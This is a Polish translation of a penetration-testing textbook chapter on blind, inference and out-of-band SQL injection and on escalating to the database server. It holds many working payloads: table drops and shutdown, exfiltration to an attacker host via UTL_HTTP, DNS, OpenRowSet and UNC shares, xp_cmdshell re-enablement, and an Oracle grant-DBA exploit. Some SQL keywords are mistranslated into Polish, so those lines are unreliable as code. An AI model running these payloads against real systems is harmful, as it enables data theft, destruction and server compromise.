Wszystkie opisane do tej pory ataki miały gotowe sposoby na odzyskanie wszelkich użytecznych danych, które zostały wydobyte z bazy danych, na przykład poprzez wykonanie ataku UNION lub zwrócenie danych w komunikacie o błędzie. Wraz ze wzrostem świadomości zagrożeń typu SQL injection, tego rodzaju sytuacje stawały się coraz mniej powszechne. Coraz częściej zdarza się, że błędy iniekcji SQL, które napotykasz, będą miały miejsce w sytuacjach, w których odzyskanie wyników wstrzykniętych zapytań nie jest proste. Przyjrzymy się kilku sposobom powstawania tego problemu i sposobom radzenia sobie z nim.

NOTATKA ; Właściciele aplikacji powinni mieć świadomość, że nie każdy atakujący jest zainteresowany kradzieżą wrażliwych danych. Niektóre mogą być bardziej destrukcyjne. Na przykład, podając tylko 12 znaków wejściowych, osoba atakująca może wyłączyć bazę danych MS-SQL za pomocą polecenia shutdown:

' zamknięcie--

Osoba atakująca może również wstrzyknąć złośliwe polecenia w celu usunięcia poszczególnych tabel za pomocą poleceń takich jak te:

‘ drop table users--

‘ drop table accounts--

‘ drop table customers—

Pobieranie danych jako liczb

Dość często stwierdza się, że żadne pole tekstowe w aplikacji nie jest podatne na iniekcję SQL, ponieważ dane wejściowe zawierające pojedyncze cudzysłowy są obsługiwane prawidłowo. Luki w zabezpieczeniach mogą jednak nadal występować w polach danych numerycznych, w których dane wprowadzane przez użytkownika nie są ujęte w pojedyncze cudzysłowy. Często w takich sytuacjach jedynym sposobem na odzyskanie wyników wstrzykniętych zapytań jest numeryczna odpowiedź z aplikacji. W tej sytuacji Twoim wyzwaniem jest przetworzenie wyników wstrzykniętych zapytań w taki sposób, aby można było pobrać znaczące dane w postaci liczbowej. Można tu zastosować dwie kluczowe funkcje:

* ASCII, który zwraca kod ASCII dla znaku wejściowego

* SUBSTRING (lub SUBSTR w Oracle), która zwraca podłańcuch swojego wejścia

Te funkcje mogą być używane razem w celu wyodrębnienia pojedynczego znaku z łańcucha w postaci liczbowej. Na przykład:

SUBSTRING('Admin',1,1) zwraca A.

ASCII('A') zwraca 65.

Dlatego:

ASCII(SUBSTR('Admin',1,1)) zwraca 65.

Korzystając z tych dwóch funkcji, możesz systematycznie dzielić ciąg przydatnych danych na poszczególne znaki i zwracać każdy z nich osobno, w postaci liczbowej. W ataku skryptowym ta technika może być wykorzystana do szybkiego odzyskania i zrekonstruowania dużej ilości danych łańcuchowych, bajt po bajcie.

WSKAZÓWKA: Istnieje wiele subtelnych różnic w sposobie, w jaki różne platformy baz danych obsługują manipulowanie ciągami znaków i obliczenia numeryczne, które być może trzeba będzie wziąć pod uwagę podczas przeprowadzania zaawansowanych ataków tego rodzaju. Doskonały przewodnik po tych różnicach obejmujący wiele różnych baz danych można znaleźć na stronie http://sqlzoo.net/howto/source/z.dir/i08fun.xml.

W odmianie tej sytuacji autorzy spotkali się z przypadkami, w których zwracana przez aplikację nie jest rzeczywista liczba, ale zasób, dla którego ta liczba jest identyfikatorem. Aplikacja wykonuje zapytanie SQL na podstawie danych wprowadzonych przez użytkownika, uzyskuje numeryczny identyfikator dokumentu, a następnie zwraca zawartość dokumentu użytkownikowi. W tej sytuacji atakujący może najpierw uzyskać kopię każdego dokumentu, którego identyfikatory mieszczą się w odpowiednim zakresie liczbowym, i skonstruować odwzorowanie zawartości dokumentu na identyfikatory. Następnie, przeprowadzając opisany wcześniej atak, atakujący może zapoznać się z tą mapą, aby określić identyfikator dla każdego dokumentu otrzymanego z aplikacji iw ten sposób pobrać wartość ASCII znaku, który udało mu się wyodrębnić.

Korzystanie z kanału poza pasmem

W wielu przypadkach SQL injection aplikacja nie zwraca wyników żadnego wstrzykniętego zapytania do przeglądarki użytkownika, ani nie zwraca żadnych komunikatów o błędach generowanych przez bazę danych. W tej sytuacji może się wydawać, że Twoja pozycja jest daremna. Nawet jeśli istnieje błąd iniekcji SQL, z pewnością nie można go wykorzystać do wyodrębnienia dowolnych danych lub wykonania jakiejkolwiek innej czynności. Ten wygląd jest jednak fałszywy. Możesz wypróbować różne techniki odzyskiwania danych i sprawdzić, czy inne złośliwe działania zakończyły się powodzeniem. Istnieje wiele okoliczności, w których możesz wstrzyknąć dowolne zapytanie, ale nie możesz pobrać jego wyników. Przypomnij sobie przykład podatnego formularza logowania, w którym pola nazwy użytkownika i hasła są podatne na wstrzyknięcie SQL:

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’

Oprócz modyfikowania logiki zapytania w celu pominięcia logowania, możesz wstrzyknąć całkowicie osobne podzapytanie za pomocą konkatenacji łańcuchów, aby połączyć jego wyniki z elementem, który kontrolujesz. Na przykład:

foo’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’)--

Powoduje to, że aplikacja wykonuje następujące zapytanie:

SELECT * FROM users WHERE username = ‘foo’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’)

Baza danych wykonuje twoje dowolne podzapytanie, dołącza jego wyniki do foo, a następnie wyszukuje szczegóły wynikowej nazwy użytkownika. Oczywiście logowanie się nie powiedzie, ale wstrzyknięte zapytanie zostanie wykonane. Wszystko, co otrzymasz z powrotem w odpowiedzi aplikacji, to standardowy komunikat o niepowodzeniu logowania. To, czego potrzebujesz, to sposób na odzyskanie wyników wstrzykniętego zapytania. Inna sytuacja powstaje, gdy można zastosować zapytania wsadowe do baz danych MS-SQL. Zapytania wsadowe są niezwykle przydatne, ponieważ umożliwiają wykonanie całkowicie oddzielnej instrukcji, nad którą masz pełną kontrolę, przy użyciu innego czasownika SQL i celując w inną tabelę. Jednak ze względu na sposób wykonywania zapytań wsadowych wyników wstrzykniętego zapytania nie można pobrać bezpośrednio. Ponownie potrzebujesz sposobu na odzyskanie utraconych wyników wstrzykniętego zapytania. Jedną z metod odzyskiwania danych, która często jest skuteczna w takiej sytuacji, jest użycie kanału poza pasmem. Osiągnąwszy możliwość wykonywania dowolnych instrukcji SQL w bazie danych, często możliwe jest wykorzystanie niektórych wbudowanych funkcji bazy danych do utworzenia połączenia sieciowego z powrotem do własnego komputera, przez który można przesyłać dowolne dane zebrane z baza danych. Sposoby tworzenia odpowiedniego połączenia sieciowego są w dużym stopniu zależne od bazy danych. Różne metody mogą być dostępne lub nie, biorąc pod uwagę poziom uprawnień użytkownika bazy danych, z którym aplikacja uzyskuje dostęp do bazy danych. Niektóre z najbardziej powszechnych i skutecznych technik dla każdego typu bazy danych opisano tutaj.

MS-SQL

W starszych bazach danych, takich jak MS-SQL 2000 i starsze, można użyć polecenia OpenRowSet do otwarcia połączenia z zewnętrzną bazą danych i wstawienia do niej dowolnych danych. Na przykład następujące zapytanie powoduje, że docelowa baza danych otwiera połączenie z bazą danych atakującego i wstawia ciąg wersji docelowej bazy danych do tabeli o nazwie foo:

insert into openrowset('SQLOLEDB',

'DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein', 'select * from foo') values (@@version)

Pamiętaj, że możesz określić port 80 lub dowolną inną prawdopodobną wartość, aby zwiększyć szansę na nawiązanie połączenia wychodzącego przez dowolne zapory ogniowe.

Oracle

Oracle zawiera dużą liczbę domyślnych funkcji, które są dostępne dla użytkowników o niskich uprawnieniach i które mogą być używane do tworzenia połączeń poza pasmem. Pakiet UTL_HTTP może być używany do wysyłania dowolnych żądań HTTP do innych hostów. UTL_HTTP zawiera bogatą funkcjonalność i obsługuje serwery proxy, pliki cookie, przekierowania i uwierzytelnianie. Oznacza to, że osoba atakująca, która włamała się do bazy danych w mocno ograniczonej wewnętrznej sieci korporacyjnej, może wykorzystać korporacyjny serwer proxy do zainicjowania połączeń wychodzących z Internetem. W poniższym przykładzie UTL_HTTP służy do przesyłania wyników wstrzykniętego zapytania do serwera kontrolowanego przez osobę atakującą:

/employees.asp?EmpNo=7521'||UTL_HTTP.request('mdattacker.net:80/'||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))—

Ten adres URL powoduje, że UTL_HTTP wykonuje Żądanie GET dla adresu URL zawierającego pierwszą nazwę użytkownika w tabeli all_users. Atakujący może po prostu skonfigurować detektor netcat na mdattacker.net, aby otrzymać wynik:

C:\>nc -nLp 80

POBIERZ /SYS HTTP/1.1

Host: mdattacker.net

Połączenie: zamknięte

Pakiet UTL_INADDR jest przeznaczony do tłumaczenia nazw hostów na adresy IP. Może służyć do generowania dowolnych zapytań DNS do serwera kontrolowanego przez atakującego. W wielu sytuacjach jest to bardziej prawdopodobne niż atak UTL_HTTP, ponieważ ruch DNS jest często przepuszczany przez zapory korporacyjne, nawet jeśli ruch HTTP jest ograniczony. Atakujący może to wykorzystać pakiet, aby wyszukać wybraną przez siebie nazwę hosta, skutecznie odzyskując dowolne dane, dodając je jako subdomenę do nazwy domeny, którą kontroluje. Na przykład:

/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((WYBIERZ%20HASŁO%

20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'.mdattacker.net')

Powoduje to zapytanie DNS do serwera nazw mdattacker.net zawierające skrót hasła użytkownika SYS:

DCB748A5BC5390F2.mdattacker.net

Pakiet UTL_SMTP może służyć do wysyłania e-maili. Ta funkcja może być używana do pobierania dużych ilości danych przechwyconych z bazy danych poprzez wysyłanie ich w wychodzących wiadomościach e-mail. Pakiet UTL_TCP może być używany do otwierania dowolnych gniazd TCP w celu wysyłania i odbierania danych sieciowych.

UWAGA: W Oracle 11g dodatkowa lista ACL chroni wiele opisanych zasobów przed wykonaniem przez dowolnego użytkownika bazy danych. Łatwym sposobem na obejście tego problemu jest zapoznanie się z nową funkcjonalnością Oracle 11g i użycie tego kodu:

SYS.DBMS_LDAP.INIT((WYBIERZ HASŁO Z SYS.USER$ WHERE NAME='SYS')||'.mdsec.net',80)

MySQL

Polecenia SELECT ... INTO OUTFILE można użyć do skierowania danych wyjściowych dowolnego zapytania do pliku. Określona nazwa pliku może zawierać ścieżkę UNC, umożliwiającą skierowanie danych wyjściowych do pliku na własnym komputerze. Na przykład:

select * into outfile '\\\\mdattacker.net\\share\\output.txt' from users;

Aby otrzymać plik, musisz utworzyć udział SMB na swoim komputerze, który umożliwia anonimowy dostęp do zapisu. Możesz skonfigurować udziały na platformach Windows i UNIX, aby zachowywały się w ten sposób. Jeśli masz trudności z otrzymaniem wyeksportowanego pliku, może to wynikać z problemu z konfiguracją Twojego serwera SMB. Możesz użyć sniffera, aby potwierdzić, czy serwer docelowy inicjuje jakiekolwiek połączenia przychodzące do twojego komputera. Jeśli tak, zapoznaj się z dokumentacją serwera, aby upewnić się, że jest poprawnie skonfigurowany.

Wykorzystanie systemu operacyjnego

Często możliwe jest przeprowadzenie ataków eskalacyjnych za pośrednictwem bazy danych, które skutkują wykonaniem dowolnych poleceń w systemie operacyjnym samego serwera bazy danych. W takiej sytuacji dostępnych jest znacznie więcej możliwości pobierania danych, takich jak użycie wbudowanych poleceń, takich jak tftp, mail i telnet, lub kopiowanie danych do głównego katalogu internetowego w celu pobrania za pomocą przeglądarki. Zobacz późniejszą sekcję „Beyond SQL Injection", aby zapoznać się z technikami zwiększania uprawnień w samej bazie danych.

Korzystanie z wnioskowania: odpowiedzi warunkowe

Istnieje wiele powodów, dla których kanał poza pasmem może być niedostępny. Najczęściej dzieje się tak, ponieważ baza danych znajduje się w chronionej sieci, której zapory ogniowe na obwodzie nie zezwalają na żadne połączenia wychodzące z Internetem ani żadną inną siecią. W tej sytuacji dostęp do bazy danych jest ograniczony wyłącznie za pośrednictwem punktu wstrzykiwania do aplikacji internetowej.

W takiej sytuacji, pracując mniej lub bardziej na ślepo, można zastosować wiele technik pobierania dowolnych danych z bazy danych. Wszystkie te techniki opierają się na koncepcji wykorzystania wstrzykniętego zapytania do warunkowego wywołania wykrywalnego zachowania przez bazę danych, a następnie wywnioskowania wymaganej informacji na podstawie tego, czy takie zachowanie wystąpi. Przypomnij sobie podatną na ataki funkcję logowania, w której pola nazwy użytkownika i hasła mogą zostać wstrzyknięte w celu wykonania dowolnych zapytań:

SELECT * FROM users WHERE username = 'marcus' and password = 'secret'

Załóżmy, że nie zidentyfikowałeś żadnej metody przesyłania wyników wstrzykniętych zapytań z powrotem do przeglądarki. Niemniej jednak już widziałeś, jak możesz wykorzystać iniekcję SQL do modyfikacji zachowania aplikacji.

Na przykład przesłanie dwóch poniższych danych wejściowych daje bardzo różne wyniki:

admin' AND 1=1--

admin’ AND 1=2--

W pierwszym przypadku aplikacja loguje Cię jako administratora. W drugim przypadku próba logowania kończy się niepowodzeniem, ponieważ warunek 1=2 jest zawsze fałszywy. Możesz wykorzystać tę kontrolę nad zachowaniem aplikacji jako sposób na wnioskowanie o prawdziwości lub fałszywości dowolnych warunków w samej bazie danych. Na przykład, korzystając z opisanych wcześniej funkcji ASCII i SUBSTRING, można sprawdzić, czy określony znak przechwyconego łańcucha ma określoną wartość. Na przykład przesłanie tego fragmentu danych wejściowych powoduje zalogowanie jako administrator, ponieważ testowany warunek jest prawdziwy:

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65--

Przesłanie następujących danych wejściowych skutkuje jednak niepowodzeniem logowania, ponieważ testowany warunek jest fałszywy:

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 66--

Przesyłając dużą liczbę takich zapytań, przechodząc przez zakres prawdopodobnych kodów ASCII dla każdego znaku, aż do uzyskania trafienia, można wyodrębnić cały ciąg, po jednym bajcie na raz.

Wywoływanie błędów warunkowych

W poprzednim przykładzie aplikacja zawierała pewną wyróżniającą się funkcjonalność, której logikę można było bezpośrednio kontrolować, wstrzykując ją do istniejącego zapytania SQL. Zaprojektowane zachowanie aplikacji (udane lub nieudane logowanie) może zostać przejęte w celu zwrócenia atakującemu pojedynczej informacji. Jednak nie wszystkie sytuacje są takie proste. W niektórych przypadkach możesz wstrzykiwać do zapytania, które nie ma zauważalnego wpływu na zachowanie aplikacji, takie jak mechanizm rejestrowania. W innych przypadkach możesz wstrzykiwać podzapytanie lub zapytanie wsadowe, którego wyniki nie są w żaden sposób przetwarzane przez aplikację. W tej sytuacji możesz mieć trudności ze znalezieniem sposobu na spowodowanie wykrywalnej różnicy w zachowaniu, która jest uzależniona od określonego warunku. David Litchfi eld opracował technikę, której można użyć do wywołania wykrywalnej różnicy w zachowaniu w większości przypadków. Podstawową ideą jest wstrzyknięcie zapytania, które wywołuje błąd bazy danych w zależności od określonego warunku. Gdy wystąpi błąd bazy danych, często można go wykryć z zewnątrz, albo za pomocą kodu odpowiedzi HTTP 500, albo za pomocą jakiegoś komunikatu o błędzie lub nietypowego zachowania (nawet jeśli sam komunikat o błędzie nie ujawnia żadnych użytecznych informacji). Technika opiera się na cechach zachowania bazy danych podczas oceny instrukcji warunkowych: baza danych ocenia tylko te części instrukcji, które wymagają oceny ze względu na status innych części. Przykładem takiego zachowania jest instrukcja SELECT zawierająca klauzulę WHERE:

SELECT X FROM Y WHERE C

Powoduje to, że baza danych przechodzi przez każdy wiersz tabeli Y, obliczając warunek C i zwracając X w przypadkach, gdy warunek C jest prawdziwy. Jeśli warunek C nigdy nie jest prawdziwy, wyrażenie X nigdy nie jest obliczane. To zachowanie można wykorzystać, znajdując wyrażenie X, które jest poprawne składniowo, ale generuje błąd, jeśli kiedykolwiek zostanie ocenione. Przykładem takiego wyrażenia w Oracle i MS-SQL jest obliczenie dzielenia przez zero, takie jak 1/0. Jeśli warunek C jest kiedykolwiek spełniony, obliczane jest wyrażenie X, co powoduje błąd bazy danych. Jeśli warunek C jest zawsze fałszywy, nie jest generowany żaden błąd. Można zatem wykorzystać obecność lub brak błędu do przetestowania dowolnego warunku C. Przykładem tego jest poniższe zapytanie, które sprawdza, czy istnieje domyślny użytkownik Oracle DBSNMP. Jeśli ten użytkownik istnieje, obliczane jest wyrażenie 1/0, co powoduje błąd:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

Poniższe zapytanie sprawdza, czy istnieje wymyślony użytkownik AAAAAA. Ponieważ warunek WHERE nigdy nie jest prawdziwy, wyrażenie 1/0 nie jest obliczane, więc nie występuje żaden błąd:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘AAAAAA’) = ‘AAAAAA’

Technika ta pozwala na wywołanie warunkowej odpowiedzi w aplikacji, nawet w przypadkach, gdy wstrzykiwane zapytanie nie ma wpływu na logikę aplikacji ani przetwarzanie danych. W związku z tym umożliwia korzystanie z opisanych wcześniej technik wnioskowania w celu wyodrębniania danych w szerokim zakresie sytuacji. Ponadto, ze względu na prostotę tej techniki, te same łańcuchy ataków będą działały w różnych bazach danych i tam, gdzie punkt wstrzyknięcia znajduje się w różnych typach instrukcji SQL. Ta technika jest również wszechstronna, ponieważ może być używana we wszystkich rodzajach punktów wstrzykiwania, w których można wstrzyknąć podzapytanie. Na przykład:

(select 1 where <<condition>> or 1/0=0)

Rozważmy aplikację, która zapewnia przeszukiwalną i sortowalną bazę danych kontaktów. Użytkownik kontroluje dział parametrów i sortuje:

/search.jsp?department=30&sort=ename

Pojawia się to w następującym zapytaniu zaplecza, które parametryzuje parametr departamentu, ale łączy parametr sortowania z zapytaniem:

String queryText = “SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ?

ORDER BY “ + request.getParameter(“sort”) + “ DESC”;

Nie można zmienić klauzuli WHERE ani wysłać zapytania UNION po klauzuli ORDER BY; jednak osoba atakująca może stworzyć warunek wnioskowania, wydając następującą instrukcję:

/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20

(select%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')

Jeśli pierwsza litera nazwy pierwszego obiektu w tabeli user_objects jest równa „Y”, spowoduje to, że baza danych podejmie próbę oceny 1/0. Spowoduje to błąd i ogólne zapytanie nie zwróci żadnych wyników. Jeśli litera nie jest równa „Y”, wyniki z pierwotnego zapytania zostaną zwrócone w domyślnej kolejności. Ostrożnie dostarczając ten warunek do narzędzia do wstrzykiwania SQL, takiego jak Absinthe lub SQLMap, możemy pobrać każdy rekord w bazie danych.

Korzystanie z opóźnień czasowych

Pomimo wszystkich opisanych już wyrafinowanych technik, mogą zaistnieć sytuacje, w których żadna z tych sztuczek nie będzie skuteczna. W niektórych przypadkach możesz wstrzyknąć zapytanie, które nie zwraca żadnych wyników do przeglądarki, nie może zostać użyte do otwarcia kanału poza pasmem i nie ma wpływu na zachowanie aplikacji, nawet jeśli powoduje błąd w sama baza danych. W tej sytuacji nie wszystko stracone, dzięki technice wymyślonej przez Chrisa Anleya i szeryfa Hammada z NGSSoftware. Opracowali sposób tworzenia zapytania które spowodowałoby opóźnienie czasowe, zależne od warunków określonych przez atakującego. Atakujący może przesłać swoje zapytanie, a następnie monitorować czas potrzebny na odpowiedź serwera. Jeśli wystąpi opóźnienie, atakujący może wywnioskować, że warunek jest prawdziwy. Nawet jeśli rzeczywista treść odpowiedzi aplikacji

jest identyczna w obu przypadkach, obecność lub brak opóźnienia czasowego umożliwia atakującemu wydobycie pojedynczego bitu informacji z bazy danych. Wykonując wiele takich zapytań, osoba atakująca może systematycznie pobierać z bazy danych dowolnie złożone dane, bit po bicie. Dokładny sposób wywołania odpowiedniego opóźnienia czasowego zależy od używanej docelowej bazy danych. MS-SQL zawiera wbudowane polecenie WAITFOR, za pomocą którego można wywołać określone opóźnienie czasowe. Na przykład następujące zapytanie powoduje opóźnienie 5 sekund, jeśli aktualny użytkownik bazy danych to sa: if (select user) = 'sa' waitfor delay '0:0:5' Wyposażony w to polecenie atakujący może pobrać dowolne informacje na różne sposoby. Jedną z metod jest wykorzystanie tej samej techniki, która została już opisana w przypadku, gdy aplikacja zwraca odpowiedzi warunkowe. Teraz zamiast wyzwalać inną odpowiedź aplikacji po wykryciu określonego warunku, wstrzyknięte zapytanie wywołuje opóźnienie czasowe. Na przykład drugie z tych zapytań powoduje opóźnienie czasowe, wskazując, że pierwszą literą przechwyconego ciągu jest A:

if ASCII(SUBSTRING('Admin',1,1)) = 64 czekaj na opóźnienie '0:0:5'

if ASCII(SUBSTRING('Admin',1,1)) = 65 czekaj na opóźnienie '0:0:5'

Tak jak poprzednio, atakujący może przełączać się między wszystkimi możliwymi wartościami dla każdego znaku, aż do wystąpienia opóźnienia czasowego. Alternatywnie, atak można usprawnić, zmniejszając liczbę potrzebnych żądań. Dodatkową techniką jest podzielenie każdego bajtu danych na pojedyncze bity i odzyskanie każdego bitu w jednym zapytaniu. Polecenie POWER i bitowy operator AND & mogą być używane do określania warunków bit po bicie. Na przykład następujące zapytanie sprawdza pierwszy bit pierwszego bajtu przechwyconych danych i zatrzymuje się, jeśli wynosi 1:

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 oczekiwanie na opóźnienie '0:0:5'

Poniższe zapytanie wykonuje ten sam test na drugim bicie:

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 czekaj na opóźnienie '0:0:5'

Jak wspomniano wcześniej, sposoby wywoływania opóźnienia czasowego są w dużym stopniu zależne od bazy danych. W aktualnych wersjach MySQL funkcja uśpienia może służyć do tworzenia opóźnienia czasowego na określoną liczbę milisekund:

select if(user() like ‘root@%’, sleep(5000), ‘false’)

W wersjach MySQL wcześniejszych niż 5.0.12 funkcja uśpienia nie może być używana. Alternatywą jest funkcja benchmarku, której można użyć do wielokrotnego wykonywania określonej akcji. Poinstruowanie bazy danych, aby wykonała akcję intensywnie wykorzystującą procesor, taką jak hash SHA-1, wiele razy spowoduje wymierne opóźnienie. Na przykład:

select if(user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’)

W PostgreSQL funkcja PG_SLEEP może być używana w taki sam sposób jak funkcja uśpienia MySQL. Oracle nie ma wbudowanej metody wykonywania opóźnienia czasowego, ale można użyć innych sztuczek, aby spowodować wystąpienie opóźnienia czasowego. Jedną sztuczką jest użycie UTL_HTTP do połączenia z nieistniejącym serwerem, co powoduje przekroczenie limitu czasu. Powoduje to, że baza danych aby spróbować połączyć się z określonym serwerem i ostatecznie przekroczyć limit czasu. Na przykład:

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) from dual

...delay...

ORA-29273: HTTP request failed

ORA-06512: at “SYS.UTL_HTTP”, line 1556

ORA-12545: Connect failed because target host or object does not exist

Możesz wykorzystać to zachowanie, aby spowodować opóźnienie czasowe zależne od określonego warunku. Na przykład następujące zapytanie powoduje przekroczenie limitu czasu, jeśli istnieje domyślne konto Oracle DBSNMP:

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) FROM dual WHERE

(SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

Zarówno w bazach danych Oracle, jak i MySQL można używać funkcji SUBSTR(ING) i ASCII do pobierania dowolnych informacji bajt po bajcie, jak opisano wcześniej.

WSKAZÓWKA: Opisaliśmy wykorzystanie opóźnień czasowych jako sposobu na wydobycie interesujących informacji. Jednak technika opóźnienia czasowego może być również niezwykle przydatna podczas przeprowadzania wstępnego sondowania aplikacji w celu wykrycia luk w zabezpieczeniach związanych z iniekcją SQL. W niektórych przypadkach całkowicie ślepego wstrzyknięcia kodu SQL, gdy żadne wyniki nie są zwracane do przeglądarki, a wszystkie błędy są obsługiwane w sposób niewidoczny, sama luka może być trudna do wykrycia przy użyciu standardowych technik opartych na dostarczaniu spreparowanych danych wejściowych. W takiej sytuacji użycie opóźnień czasowych jest często najbardziej niezawodnym sposobem wykrycia obecności luki podczas wstępnego sondowania. Na przykład, jeśli bazą danych zaplecza jest MS-SQL, możesz po kolei wstrzyknąć każdy z następujących ciągów do każdego parametru żądania i monitorować, ile czasu zajmuje aplikacji zidentyfikowanie luk w zabezpieczeniach:

„; czekaj na opóźnienie „0:30:0”--

1; czekaj na opóźnienie „0:30:0”—

Beyond SQL Injection: eskalacja ataku na bazę danych

Udane wykorzystanie luki SQL Injection często skutkuje całkowitym naruszeniem bezpieczeństwa wszystkich danych aplikacji. Większość aplikacji korzysta z jednego konta dla całego dostępu do bazy danych i opiera się na kontrolach warstwy aplikacji w celu wymuszenia segregacji dostępu między różnymi użytkownikami. Uzyskanie nieograniczonego korzystania z konta w bazie danych aplikacji skutkuje dostępem do wszystkich jej danych. Można więc przypuszczać, że posiadanie wszystkich danych aplikacji jest punktem końcowym ataku SQL injection. Istnieje jednak wiele powodów, dla których dalsze przeprowadzanie ataku może być produktywne, albo poprzez wykorzystanie luki w zabezpieczeniach samej bazy danych, albo przez wykorzystanie niektórych wbudowanych funkcji do osiągnięcia zamierzonych celów. Dalsze ataki, które można przeprowadzić poprzez eskalację ataku na bazę danych, obejmują:

* Jeśli baza danych jest współdzielona z innymi aplikacjami, możesz zwiększyć uprawnienia w bazie danych i uzyskać dostęp do danych innych aplikacji.

* Możesz być w stanie złamać system operacyjny serwera bazy danych.

* Możesz uzyskać dostęp sieciowy do innych systemów. Zazwyczaj serwer bazy danych jest hostowany w chronionej sieci za kilkoma warstwami zabezpieczeń obwodowych sieci. Z serwera bazy danych

możesz mieć zaufaną pozycję i mieć dostęp do kluczowych usług na innych hostach, które mogą być dalej wykorzystywane.

* Możesz być w stanie wykonać połączenia sieciowe z powrotem z infrastruktury hostingowej do własnego komputera. Może to umożliwić ominięcie aplikacji, łatwe przesyłanie dużych ilości poufnych danych zebranych z bazy danych i często omijanie wielu systemów wykrywania włamań.

* Możesz rozszerzyć istniejącą funkcjonalność bazy danych w dowolny sposób, tworząc funkcje zdefiniowane przez użytkownika. W niektórych sytuacjach może to umożliwić obejście hartowania, które zostało wykonane w bazie danych, poprzez skuteczne ponowne zaimplementowanie funkcjonalności, która została usunięta lub wyłączona. Istnieje sposób na zrobienie tego w każdej z głównych baz danych, pod warunkiem, że uzyskałeś uprawnienia administratora bazy danych (DBA).

POWSZECHNY MIT

Wielu administratorów baz danych zakłada, że obrona bazy danych przed atakami wymagającymi uwierzytelnienia jest niepotrzebna. Mogą uważać, że dostęp do bazy danych ma tylko zaufana aplikacja należąca do tej samej organizacji. Ignoruje to możliwość, że luka w aplikacji może umożliwić złośliwej stronie trzeciej interakcję z bazą danych w kontekście bezpieczeństwa aplikacji. Każdy z opisanych właśnie możliwych ataków powinien ilustrować, dlaczego należy chronić bazy danych przed uwierzytelnionymi atakującymi.

Atakowanie baz danych to obszerny temat, który wykracza poza zakres tej książki. Ta sekcja wskazuje kilka kluczowych sposobów wykorzystania luk w zabezpieczeniach i funkcjonalności głównych typów baz danych do eskalacji ataku. Kluczowym wnioskiem, jaki należy wyciągnąć, jest to, że każda baza danych zawiera sposoby na eskalację uprawnień. Stosowanie aktualnych poprawek zabezpieczeń i solidne wzmacnianie może pomóc złagodzić wiele z tych ataków, ale nie wszystkie.

MS-SQL

Być może najbardziej znaną funkcją bazy danych, której atakujący może niewłaściwie użyć, jest procedura składowana xp_cmdshell, która jest domyślnie wbudowana w MS-SQL. Ta procedura składowana umożliwia użytkownikom z uprawnieniami DBA wykonywanie poleceń systemu operacyjnego w taki sam sposób, jak wiersz polecenia cmd.exe. Na przykład:

master..xp_cmdshell „ipconfig > foo.txt”

Możliwość nadużycia tej funkcjonalności przez atakującego jest ogromna. Może wykonywać dowolne polecenia, przesyłać wyniki do lokalnych plików i odczytywać je z powrotem. Może otwierać połączenia sieciowe poza pasmem z powrotem do siebie i tworzyć backdoor do poleceń i kanał komunikacyjny, kopiując dane z serwera i przesyłając narzędzia do ataku. Ponieważ MS-SQL działa domyślnie jako LocalSystem, osoba atakująca zazwyczaj może w pełni skompromitować bazowy system operacyjny, wykonując dowolne działania. MS-SQL zawiera wiele innych rozszerzonych procedur przechowywanych, takich jak xp_regread i xp_regwrite, których można używać do wykonywania zaawansowanych działań w rejestrze systemu operacyjnego Windows.

Radzenie sobie z domyślną blokadą

Większość instalacji MS-SQL napotkanych w Internecie to MS-SQL 2005 lub nowszy. Wersje te zawierają liczne funkcje bezpieczeństwa, które domyślnie blokują bazę danych, uniemożliwiając działanie wielu przydatnych technik ataku. Jeśli jednak konto użytkownika aplikacji internetowej w bazie danych ma wystarczająco wysokie uprawnienia, możliwe jest pokonanie tych przeszkód po prostu przez rekonfiguracja bazy danych. Na przykład, jeśli xp_cmdshell jest wyłączona, można ją

ponownie włączyć za pomocą procedury składowanej sp_configure. Robią to następujące cztery wiersze SQL:

EXECUTE sp_configure ‘show advanced options’, 1

RECONFIGURE WITH OVERRIDE

EXECUTE sp_configure ‘xp_cmdshell’, ‘1’

RECONFIGURE WITH OVERRIDE

W tym momencie xp_cmdshell jest ponownie włączony i można go uruchomić za pomocą zwykłego polecenia:

exec xp_cmdshell ‘dir’

Oracle

W samym oprogramowaniu bazy danych Oracle wykryto ogromną liczbę luk w zabezpieczeniach. Jeśli znalazłeś lukę w zabezpieczeniach umożliwiającą wstrzyknięcie SQL, która umożliwia wykonywanie dowolnych zapytań, zazwyczaj możesz eskalować do uprawnień DBA, wykorzystując jedną z tych luk. Oracle zawiera wiele wbudowanych procedur przechowywanych, które są wykonywane z uprawnieniami DBA i stwierdzono, że zawierają błędy iniekcji SQL w samych procedurach. Typowy przykład takiej luki występował w domyślnym pakiecie SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES przed aktualizacją poprawki krytycznej z lipca 2006 roku. Można to wykorzystać do eskalacji uprawnień poprzez wstrzyknięcie zapytania o przyznanie administratora DBA do public do podatnego pola:

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘INDX’,’SCH’,

‘TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); execute immediate

‘’declare pragma autonomous_transaction; begin execute immediate

‘’’’grant dba to public’’’’ ; end;’’; END;--’,’CTXSYS’,1,’1’,0) from dual

